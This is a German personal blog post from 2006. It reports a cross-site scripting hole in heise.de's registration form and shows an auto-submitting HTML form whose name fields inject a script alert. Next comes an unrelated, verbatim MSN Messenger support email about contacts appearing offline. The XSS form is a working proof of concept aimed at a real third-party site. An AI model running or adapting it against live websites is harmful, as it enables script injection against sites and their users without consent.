andyrockt.com - the blog

Habe gerade News von Heise.de angeschaut und hier gesehen, dass man bei der Bundesregierung
lustige Abfragen per Cross Site Scripting ausfuehren kann

Nun hab ich auf dem Blog von morph3us.org gelesen, dass Heise selbst eine solche Luecke
auf ihrer Seite hat und trotz seines Emails an den Webmaster die Luecke immernoch funktioniert (das war im Januar 06)

Hab ich natuerlich gleich ausprobiert und siehe da, es geht immernoch..

< form method="post" action="http://www.heise.de/registration/" name="heise" >
< input type="text" name="uid" size="20" value='' >
< input type="text" name="vorname" size="20"
value='">< script >alert(”andyrockt.com is watching you!”)< /script>‘ >
< input type="text" name="name" size="20"
value='">< script >alert(”andyrockt.com is watching you!”)< script>‘ >
< /form >
< body onload= "heise.submit();" >

Mit diesem simplen HTML-Code kann man CSS-Luecken bei Heise ausprobieren

Update 05.09.2006
Hab gerade gesehen, das sogar ein noch groeberes Loch vom Blogger auf Morph3us gefunden wurde.. *smile*
Hier mehr => http://morph3us.org/blog/?p=41
Test gefaellig? => http://www.andyrockt.com/sources/

Das Ergebniss seht ihr hier falls der Link nicht mehr funktionieren sollte :

Die vermeintliche Antwort des MSN-Supports..

Sehr geehrter Andy, vielen Dank, dass Sie sich an unseren Windows Live Messenger Kundenservice wenden. Ihrer E-Mail entnehmen wir, dass Ihren Kontakten als offline angezeigt werden, obwohl Sie im Windows Live Messenger angemeldet sind und Ihr Status auf online gesetzt ist. Eine Neuinstallation des Windows Live Messenger konnte das Problem nicht beheben. Bitte entschuldigen Sie die Ihnen dadurch entstandenen Unannehmlichkeiten.Mein Name ist Janine, und um Ihnen hinsichtlich dieser Angelegenheit weiterzuhelfen, habe ich die unten aufgefuehrte Erklaerung fuer Sie zusammengestellt.- Einige Ihrer Kontakte koennen Ihren Onlinestatus im MSN Messenger nicht sehen - sie sehen Ihren Status als offline.- Wenn Sie sich im MSN Messenger anmelden, erhalten Sie eine Aufforderung zum Hinzufuegen eines Kontakts von dem Kontakt, der Ihren Status offline sieht.WAHRSCHEINLICHE URSACHEFolgendes kann der Fall sein:- Sie haben mehr als 1200 Kontakte in Ihrer Liste der zugelassenen Kontakte.- Die Einstellungen in Ihrer Privatsphaere erlauben es nur den in Ihrer Liste der zugelassenen Kontakte enthaltenen Kontakte, Ihnen Sofortnachrichten schicken zu koennen. - Der Server des MSN Messenger, mit dem Sie verbunden sind, antwortet nicht mehr.PROBLEMBEHEBUNGVersuchen Sie die folgenden Loesungsschritte in der Reihenfolge Ihrer Auflistung:1. Wenn Sie eine Aufforderung erhalten, einen Kontakt, der Sie als offline sieht, hinzuzufuegen - dies passiert gleich nach dem Anmelden in den MSN Messenger - loeschen Sie Ihren Kontakt aus der Liste Ihrer zugelassenen Kontakte und fuegen Sie den Kontakt anschließend wieder hinzu.a. Im Messenger klicken Sie auf “Extras”, auf “Optionen” und anschließend auf “Privatsphaere”.b. Klicken Sie mit der rechten Maustaste auf den Kontakt und waehlen Sie “Loeschen”. Anmerkung: Sie werden den Kontakt nicht loeschen koennen, wenn Sie in seiner Liste der zugelassenen Kontakte enthalten sind.c. In dem Popup-Fenster fuer das Hinzufuegen des Kontakts aktivieren Sie “Diesen Nutzer meiner Kontaktliste hinzufuegen” und waehlen Sie anschließend “Dieser Person meinen Onlinestatus anzeigen und erlauben, mich zu kontaktieren.” Der Kontakt wird Ihrer Liste der zugelassenen Kontakte hinzugefuegt. 2. Wenn einige Ihrer Kontakte Ihren Status immer als offline sehen, aendern Sie die Einstellungen in der Privatsphaere des Messengers.a. Im Messenger klicken Sie bitte auf “Extras”, auf “Optionen” und anschließend auf “Privatsphaere”.b. In der Liste der blockierten Kontakte waehlen Sie den Kontakt “Alle anderen” und verschieben ihn in die Liste der zugelassenen Kontakte duch Klicken auf “Zulassen”.Anmerkung: Wenn Sie diese Einstellung in der Privatsphaere aendern werden die Kontakte aus der Liste der zugelassenen Kontakte Ihnen Nachrichten schicken koennen.3. Wenn einige Ihrer Kontakte Ihren Status voruebergehend als offline sehen, bitten Sie sie, sich abzumelden und dann erneut anzumelden.Falls Sie beim Befolgen der aufgelisteten Schritte auf weitere Fragen oder neue Probleme aufmerksam werden, bitten wir Sie herzlichst, diese zur weiteren Recherche an unseren Windows Live Messenger Kundenservice zu senden. Vielen Dank, dass Sie Windows Live Messenger verwenden. Mit freundlichen Grueßen,JanineWindows Live Messenger Kundenservice

ps: wirklich so ohne formatierungen, wortwoertlich bekommen

Hier ein paar Impressionen vom Fest